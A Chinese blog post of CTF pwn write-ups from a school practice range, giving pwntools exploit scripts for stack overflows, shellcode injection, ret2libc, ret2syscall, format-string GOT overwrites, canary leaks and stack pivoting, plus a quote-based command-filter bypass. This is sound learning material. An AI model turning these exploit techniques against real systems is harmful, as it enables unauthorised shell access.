虽然之前写了一篇合集文章(戳这里)…
最近想复健一下pwn,刷了一下学校的靶场,单独公开写一篇督促一下自己…
非常非常简单考点重复的就不记了。
0x00 sandbox
一般满足过滤条件的、代替cat的指令试了几个都回显不存在,尝试加了单引号成功绕过过滤。
payload:c''at f''lag
0x01 Choice
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init();
puts(s);
puts("Menu:");
puts(a1);
puts("2.删除数据:");
puts(a3);
__isoc99_scanf(&unk_400A75, &v4);
if ( v4 == 1 )
{
Data1();
}
else if ( v4 == 2 )
{
Data2();
}
else
{
Data3();
}
return 0;
}
选项3写入长度存在溢出,给了自带的shell函数,地址为0x4007BD,指向它即可。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'
local = 1
if local == 1:
r=process('./Choice')
gdb.attach(r,"b * 0x400978")
else:
r = remote('1.95.36.136',2125)
ret = 0x400979
r.recvuntil("3.查询数据:\n")
payload = '3'
r.sendline(payload)
r.recvuntil("的名字:\n")
payload2 = 'a'*0x30+p64(0xdeadbeef)+p64(ret)+p64(0x4007BD)
r.sendline(payload2)
r.interactive()
0x02 overload1
覆盖v5的值为a就可以执行system函数:

0x03 你是大佬还是菜鸡
caiji()存在溢出,让其溢出后执行hint()
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'
local = 2
if local == 1:
r=process('./pwn')
else:
r = remote('1.95.36.136',2051)
r.recvuntil("Ji\n")
r.sendline("2")
payload = 'a'*0x20+p64(0xdeadbeef)+p64(0x4008AF)+p64(0x4008B0)
r.sendline(payload)
r.interactive()
0x04 Easy_ShellCode
str是全局变量,在str中写入shellcode,利用栈溢出覆盖返回地址为str的地址(0x0804A080),从而执行str中的shellcode。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./Easy_ShellCode')
else:
r = remote('1.95.36.136',2082)
context.arch = 'i386'
r.recvuntil("Input:\n")
payload = asm(shellcraft.sh(), os = 'linux')
r.sendline(payload)
r.recvuntil("name ?:")
payload2 = 'a'*0x68+p32(0xdeadbeef)+p32(0x0804A080)
r.sendline(payload2)
r.interactive()
0x05 play
和Easy_ShellCode那题一样的,不过是64位:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./play')
else:
r = remote('1.95.36.136',2082)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = 'amd64'
r.recvuntil("playing.\n")
payload = asm(shellcraft.sh(), os = 'linux')
r.sendline(payload)
ret = 0x4007CB
r.recvuntil("game?")
payload2 = 'a'*0x30+p64(0xdeadbeef)+p64(ret)+p64(0x06010A0)
r.sendline(payload2)
r.interactive()
0x06 name4
int Start()
{
char s[20]; // [esp+8h] [ebp-20h] BYREF
int v2; // [esp+1Ch] [ebp-Ch]
v2 = 0;
puts("Enter your name:");
read(0, name, 0x40u);
puts("Enter your best friend name:");
read(0, &::s, 0x40u);
if ( name[0] )
return write(1, "Are you OK?", 0xEu);
puts("give you stack overflow:");
gets(s);
return printf("byebye%s\n", name);
}
分析代码,要让if()判断为false,&::s是取全局变量s的地址,在这里写入shellcode。栈里的s溢出后调用:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./name4')
else:
r = remote('1.95.36.136',2082)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = 'i386'
r.recvuntil("name:\n")
payload = b"\x00"
r.sendline(payload)
r.recvuntil("friend name:\n")
shellcode = asm(shellcraft.sh(), os = 'linux')
r.sendline(shellcode)
r.recvuntil("overflow:\n")
payload = 'a'*0x20+p32(0xdeadbeef)+p32(0x804A0E0)
r.sendline(payload)
r.interactive()
0x07 guess
遇见gets()函数,且已知system的地址,可以构造p32(gets)+p32(system)+p32(bss)+p32(bss):
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'
local = 1
if local == 1:
r = process('./guess')
#gdb.attach(r,"b * 0x08048757")
else:
r = remote('1.13.251.106',8000)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = 'i386'
elf = ELF('./guess')
gets = elf.plt['gets']
system = elf.plt['system']
bss = 0x804a200
r.recvuntil("try it?")
payload = 'a'*0x6C+p32(0xdeadbeef)+p32(gets)+p32(system)+p32(bss)+p32(bss)
r.sendline(payload)
r.interactive()
执行后可以输入一条命令,即system()的参数是bss的值,输入/bin/sh可以获得shell。
0x08 x64
找到/bin/sh的地址,ROPgadget --binary x64 --only "pop|ret",然后找到pop rdi ; ret的地址,传参即可:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./x64')
else:
r = remote('1.95.36.136',2084)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
ret = 0x0400771
pop_rdi = 0x00000000004007e3
payload = "a"*0x80+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi)+p64(0x0601060)+p64(0x04006B6)
r.sendline(payload)
r.interactive()
0x09 friend
太累了,不想写过程XD
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./friend')
#gdb.attach(r,'b * 0x80486CE')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
r = remote('1.95.36.136',2088)
elf = ELF('./friend')
r.recvuntil("Please enter what you need:\n")
r.sendline("2")
r.recvuntil("Ret2libc\n")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
log.info("puts_plt:"+hex(puts_plt))
log.info("puts_got:"+hex(puts_got))
main = 0x0804863A
payload = 'a'*0x70+p32(0xdeadbeef)+p32(puts_plt)+p32(main)+p32(puts_got)
r.sendline(payload)
puts_addr = u32(r.recv(4))
print(hex(puts_addr)) #0x3d3d3d0a
r.recvuntil("Please enter what you need:\n")
r.sendline("2")
r.recvuntil("Ret2libc\n")
baseaddr = puts_addr - 0x5f150
system = baseaddr + 0x3a950
binsh = baseaddr + 0x15912b
payload2 = 'a'*0x70+p32(0xdeadbeef)+p32(system)+p32(0)+p32(binsh)
r.sendline(payload2)
r.interactive()
0x0a travel
因为printf里的第一个参数可控,所以存在格式化字符串漏洞。
unsigned int vuln()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
memset(buf, 0, sizeof(buf));
puts("Do you want to travel?");
read(0, buf, 0x30u);
printf(buf);
if ( n == 4 )
Get_Shell();
else
puts("Let's go!");
return __readgsdword(0x14u) ^ v2;
}
首先需要在栈里面伪造指针,使用gdb调试,输入aaaabbbbccccdddd试试看:
r.sendline("aaaabbbbccccdddd")

%n有一个特性,前面有多少个字符串,在指定写的地址就会赋值多少,所以前面要满足是有4个字符串,可以在上述测试字符的bbbb替换为%8$n,在08的位置替换为全局变量n的地址。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'
local = 0
if local == 1:
r = process('./travel')
#gdb.attach(r,"b * 0x0804864A")
else:
r = remote('1.95.36.136',2135)
sleep(1)
r.recvuntil('travel?')
r.sendline("aaaa%8$n"+p32(0x804A030))
r.interactive()
0x0b likelibc3
栈溢出,有system函数,也有/bin/sh字符串,但是需要截一下^^

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'
local = 0
if local == 1:
r = process('./likelibc3')
else:
r = remote('1.95.36.136',2083)
binsh = 0x8048570+len('Here is the ')
payload = 'a'*0x2C+p32(0xdeadbeef)+p32(0x08048492)+p32(binsh)
r.sendline(payload)
r.interactive()
0x0c 没人能拒绝猫猫
这题是好久以前自己出的……可以通过溢出buf来修改s2的值。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./cat')
else:
r = remote('node5.buuoj.cn',26737)
r.recvuntil("hatecat)\n")
payload = 'a'*32 + 'lovecat'+p64(0)
r.sendline(payload)
r.interactive()
0x0d easypwn2
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("**********************************");
puts("* Welcome to the 504sys! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("**********************************");
__isoc99_scanf("%16s", s);
if ( strchr(s, '-') )
return 0;
if ( atoi(s) < 0 )
vuln();
return 0;
}
题目目标是在不输入负号的前提下触发 vuln() 函数,让程序输出 flag。
atoi(s) 会将用户输入的字符串转换为整数,利用整数溢出使其变为负数。
atoi("2147483648") → -2147483648
0x0e getshell
已知v4的地址,向v4里写shell,溢出后再次指向v4执行shell即可。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./111111')
else:
r = remote('1.95.36.136',2128)
context.arch = 'amd64'
shellcode = asm(shellcraft.sh(), os = 'linux')
v4_addr = r.recv(0xe)
v4_addr = int(v4_addr, 16)
payload = shellcode + 'a'*(0x70-len(shellcode))+p64(0xdeadbeef)+p64(v4_addr)+p64(0)
r.sendline(payload)
r.interactive()
0x0f Easy_Text+Fmt
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
init();
puts("Please Input Your Lucky Number:");
gets(s);
printf(s);
if ( x == 'B' )
Choice1();
if ( y == 'fff' )
Choice2();
if ( d == 48 )
Choice3();
else
printf("You don't know much about string formatting, so go ahead and learn!");
return 0;
}
32位的格式化字符串,先看第几位可控:
payload = 'aaaaaa'+ '%p' * 0x68
根据回显判断是第7位可控,可以让d == 48触发Choice3(),改d的值思路大概是这样:
0000
0000
0000
0000
0000
0000
%48c # 48个空格
%9$n # 更改第九行的地址中的值
0804A040 # d的地址
int Choice3()
{
char v1[58]; // [esp+Eh] [ebp-3Ah] BYREF
printf("you are good good good!,see see overload");
puts("Try It ! Please Input:");
return __isoc99_scanf("%s", v1);
}
__isoc99_scanf("%s", v1);同等于gets(),直接溢出到Choice4()。完整exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./TextFmt')
else:
r = remote('1.95.36.136',2128)
r.recvuntil("Lucky Number:\n")
#payload = 'aaaaaa'+ '%p' * 0x68
payload = '%48c%9$n'+ p32(0x804A040)
r.sendline(payload)
r.recvuntil("Please Input:\n")
payload2 = 'a'*0x3A + p32(0xdeadbeef) +p32(0x80486b0)
r.sendline(payload2)
r.interactive()
0x10 小猫喵喵喵
这道题分析main函数,调用了两个函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
meow();
fish();
return 0;
}
meow()会先调用scanf让用户输入数字。
int meow()
{
unsigned int v0; // eax
int result; // eax
int v2; // [esp+8h] [ebp-10h] BYREF
int v3; // [esp+Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
v3 = rand();
__isoc99_scanf(&unk_8048760, &v2);
result = v2;
if ( v2 == v3 )
return system("Meow!!!");
return result;
}
fish()有栈溢出,但是程序执行到How many fish does the kitten eat直接就结束,并没有让用户输入,很怪……
char *fish()
{
char s[108]; // [esp+Ch] [ebp-6Ch] BYREF
puts("How many fish does the kitten eat");
return gets(s);
}
原因是gets() 直接读到了scanf("%d") 留下的换行\n,导致直接中断了……
解决方法是可以使用\r替代\n,接下来正常栈溢出就可以了,构造p32(elf.plt[‘gets’])+p32(elf.plt[‘system’])+p32(可写地址)+p32(可写地址)

#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./fish')
gdb.attach(r,'b * 0x80486B0')
else:
r = remote('1.95.36.136',2084)
elf = ELF('./fish')
sleep(1)
r.send('1\r')
r.recvuntil("kitten eat")
payload = 'a'*0x6B+p32(0xdeadbeef)+p32(elf.plt['gets'])+p32(elf.plt['system'])+p32(0x0804a900)+p32(0x0804a900)
r.sendline(payload)
r.interactive()
0x11 03ret2syscall_32
eax: 系统调用号(system call number)0xb
ebx: 第一个参数 /bin/sh/
ecx: 第二个参数 0
edx: 第三个参数 0
...
通过触发中断 int 0x80 来执行系统调用。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./03ret2syscall_32')
#gdb.attach(r,'b * 0x0804890E')
else:
r = remote('1.95.36.136',2131)
sleep(1)
int_0x80 = 0x0806cea3
eax_ret = 0x080b8576
edx_ecx_ebx = 0x0806f250
r.recvuntil("Luck.\n")
payload = 'a'*0x208+p32(0xdeadbeef)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(0x80EA068)+p32(int_0x80)
r.sendline(payload)
r.interactive()
0x12 look
这道题需要用write函数泄露ibc版本。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./look')
else:
r = remote('1.95.36.136',2126)
elf = ELF('./look')
write_plt = elf.plt['write']
write_got = elf.got['write']
log.info("write_plt:"+hex(write_plt))
log.info("write_got:"+hex(write_got))
Star = 0x8048561
payload = 'a'*0x6C+p32(0xdeadbeef)+p32(write_plt)+p32(Star)+p32(1)+p32(write_got)+p32(4) #一次传入4字节
r.sendline(payload)
write = u32(r.recv(4))
base_addr = write - 0xd5c90
system = base_addr + 0x3adb0
binsh = base_addr + 0x15bb2b
payload = 'a'*0x6C+p32(0xdeadbeef)+p32(system)+p32(0)+p32(binsh)
r.sendline(payload)
r.interactive()
0x13 格式化字符串劫持got
int come_on()
{
char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF
unsigned int v2; // [esp+4Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
system("echo hhh~");
read(0, buf, 0x50u);
printf(buf);
puts("echo you are good");
puts("echo hh,the shell give you");
printf("/bin/sh");
return 0;
}
溢出位只有四个字符,且这道题有canary保护,不用考虑溢出getshell了,因为存在格式化字符串漏洞,且题目中会执行printf("/bin/sh");遂考虑把printf()函数的got表地址指向改为system的plt:
printf.plt jump printf.got -> system.plt jump system.got -> system真实地址
尝试寻找溢出点,发现第7位存在溢出。
payload = 'aaaa'+'%p'*0x4c -> 7
这道题是32位的程序,一个地址占4个字符,考虑用%hn一次改两个字符,%n一次改4个有点大了。
system函数的plt地址为0x08048490,0x0804的十进制为2052,0x8490的十进制为33936,还需要减去前面的2052,所以为31884,最后逻辑大概是这样:
0000
0000
0000
0000
0000
0000
%205 #从这里开始可控
2c%1
4$hn
%318
84c%
15$h
n000
printf.got+2 #小端序更改前面两个需要+2
printf.got
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./pwn1')
else:
r = remote('1.95.36.136',2129)
elf = ELF('./pwn1')
printf = elf.got['printf']
r.recvuntil("hhh~")
#payload = 'aaaa'+'%p'*0x4c -> 7
payload = '%2052c%14$hn%31884c%15$hn'+'\x00\x00\x00'+p32(printf+2)+p32(printf)
r.sendline(payload)
r.interactive()
0x14 格式化
有canary保护,首先要知道canary的值。第一步找canary的位置,发现在第31位。
payload = '%p,'*60
然后溢出引到后门函数,canary固定位置是rbp-8。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./format_canary2')
else:
r = remote('1.95.36.136',2143)
elf = ELF('./format_canary2')
payload = '%31$p'
r.sendline(payload)
canary = r.recv(18)
canary = int(canary,16)
payload = 'a'*(0xD0-8)+p64(canary)+p64(0xdeadbeef)+p64(0x400805)+p64(0)
r.sendline(payload)
r.interactive()
0x15 choose
同格式化字符串 泄露canary->确定libc版本->溢出。这道题需要注意两点,一是每次的choose最好sleep一下不然payload容易黏在一起,二是libc2.27版本之前的(这道题2.23)不用平栈。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./pwn2')
gdb.attach(r,'b * 0x40089E')
else:
r = remote('1.95.36.136',2133)
elf = ELF('./pwn2')
r.recvuntil("3.Buf overflow\n")
r.sendline("1")
sleep(1)
payload = '%11$p'
r.sendline(payload)
canary = r.recv(18)
canary = int(canary,16)
r.recvuntil("3.Buf overflow\n")
r.sendline("2")
puts_got = elf.got['read']
payload = str(puts_got)
r.sendline(payload)
sleep(1)
puts_addr = u64(r.recv(6)+'\x00\x00')
print(hex(puts_addr))
base_addr = puts_addr - 0x6f6a0
system = base_addr + 0x453a0
binsh = base_addr + 0x18ce57
rdi = 0x0000000000400a93
ret = 0x00000000004005f1
r.recvuntil("3.Buf overflow\n")
r.sendline("3")
sleep(1)
payload = 'a'*(0x30-8)+p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
r.sendline(payload)
r.interactive()
0x16 8字节能干什么
栈迁移,这道题原来可控的其实只有8个字节,需要把ROP链写到一个已知地址、可读可写、长度满足的地方,比如bss段。
int vuln()
{
int buf[11]; // [esp+8h] [ebp-30h] BYREF
memset(buf, 0, 40);
read(0, buf, 0x38u);
printf("%s", (const char *)buf);
read(0, buf, 0x38u);
return printf("%s", (const char *)buf);
}
在ida里可以找到bss段从0x804A040开始,开头有这些乱七八糟的所以最好挑中部写入,这里挑0x804A500

gdb调试,在第一个printf函数那里下断点,可以看到esp+24号开始是输入内容的地方,esp+72号是程序运行时栈的地址,相差48。
payload = 'a'*47+'b'

分析stack,可以得知b后面那四个字符就是[程序运行时栈分配的一个地址],这个地址和[输入时程序分配的栈的第一个地址]的偏移量是固定的,为0x40。因为leave_ret的汇编指令最后会add esp,4,所以需要-4。

最后把完成的system(“/bin/sh”)的ROP链写入栈,调用刚才找到的[输入时程序分配的栈的第一个地址]进行栈迁移,完整exp如下(要记得/bin/sh写在system函数的后面,否则会被system函数开辟的栈空间覆盖掉):
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r = process('./11')
gdb.attach(r,"b * 0x804858C")
#gdb.attach(r,"b * do_system+1092")
else:
r = remote('1.95.36.136',2064)
elf = ELF('./11')
sleep(1)
r.send("a"*47+"b")
r.recvuntil("aaab")
stack = u32(r.recv(4))
log.success("stack:"+hex(stack))
leave_ret = 0x804858C
system = 0x80485FB
r.send(p32(system)+p32(stack-0x18)+p32(0)+"a"*(0x30-12-8)+"/bin/sh\x00"+p32(stack-0x44)+p32(leave_ret))
r.interactive()
这道题如果不给system函数的话,还可以泄露基地址:
gdb调试,发现libc本地版本为2.23,从esp+24号开始是输入内容的地方,esp+64存的是libc内的结构体(特征是f7开头)。
通过vmmap命令可以看到基地址从0xf7d55000开始,实际存入的libc地址为0xf7f08cc0,偏移量为固定值0x1b3cc0。但是实际存入的libc地址会根据程序运行变化,需要泄露出来。

实际的libc地址离输入相差64-24=40个字符,泄露出来的地址就是libc的实际地址:
payload = 'a'*39+'b'
0x17 go
这道题开启了PIE保护,所以函数的地址每次运行都是变化的。
main函数如下:
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Wishing you unstoppable power in gaming and life!");
printf("csgo>>>%p\n", win);
vuln();
return 0;
}
执行该程序,输出:
Wishing you unstoppable power in gaming and life!
csgo>>>0x55b931d1c960
Input: Alarm clock
输出的是win函数的地址,在ida可以看到win函数的偏移量为960,所以把输出的内容-偏移量=程序的基址
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./go')
else:
r = remote('1.95.36.136',2109)
elf = ELF('./11')
r.recvuntil(">>>")
win_addr = int(r.recv(14),16)
base_addr = win_addr - 0x960
r.recvuntil("Input:")
payload = 'a'*0x30+p64(0xdeadbeef)+p64(base_addr+0x94D)+p64(0)
r.sendline(payload)
r.interactive()
0x18 format
输入no->修改n的值为4->back()->利用p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(可写地址)+p32(可写地址)->getshell
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r = process('./111')
#gdb.attach(r,"b * 0x80487A7")
else:
r = remote('1.95.36.136',2127)
elf = ELF('./111')
r.recvuntil("shell?")
r.send('no')
r.recvuntil("hacker!")
# payload = 'aaaa'+'%p '* 10 4
payload = 'aaaa%6$n'+p64(0x0804A06C)
r.sendline(payload)
r.recvuntil("666!\n")
payload = 'a'*0x18 +p32(0xdeadbeef)+p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(0x0804a500)+p32(0x0804a500)
r.sendline(payload)
r.interactive()